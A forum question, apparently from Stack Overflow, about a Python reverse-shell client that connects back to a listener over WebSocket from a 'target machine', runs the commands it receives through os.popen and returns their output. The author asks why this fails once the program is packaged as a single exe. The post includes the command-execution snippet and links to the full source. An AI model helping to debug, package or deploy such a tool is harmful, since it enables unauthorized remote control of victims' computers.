title: Compiled Python script is unable to run commands given to it by user in Windows cmd
body: <p>I have been working on this project recently but now I am facing some issues.</p>
  <h2>The project</h2>
  <p>The project is an Intelligent Reverse shell client side program written in python that connects to our listener from the target machine trough <code>Websocket</code> and executes each command we send and returns the result of that command.</p>
  <p><a href="https://github.com/zNiGhTFuRyZNTT/Reverse_shell" rel="nofollow noreferrer">Link to full source code</a></p>
  <p>The code works perfectly when I compile it normally(not Single exe), but After I try to compile and run it as a single executable file, It runs and connects to our listener but it can not execute the commands I send to it.</p>
  <p>Just this part of the code doesn't work after compiling to single exe:</p>
  <pre><code>            try:
                  data = os.popen(cmd).read()
                  if len(data) &gt; 0:
                      ws.send(data)
                      ws.send(f&quot;({os.getlogin()}windows)-[{os.getcwd()}]&gt;&quot;)
                  else:
                      ws.send(f&quot;({os.getlogin()}windows)-[{os.getcwd()}]&gt;&quot;)
              except Exception as e:
                  ws.send(e)
                  print(e)
  </code></pre>
  <p>Actually the only part that doesn't work is this part -&gt; <code>data = os.popen(cmd).read()</code>
  You can see the full source code <a href="https://github.com/zNiGhTFuRyZNTT/Reverse_shell" rel="nofollow noreferrer">Here</a> To better understand how does it work.</p>
  <p>So The main question is:</p>
  <h3>Why does that line of code works and executes all commands when compiled normally and doesn't when it is compiled to a single file?</h3>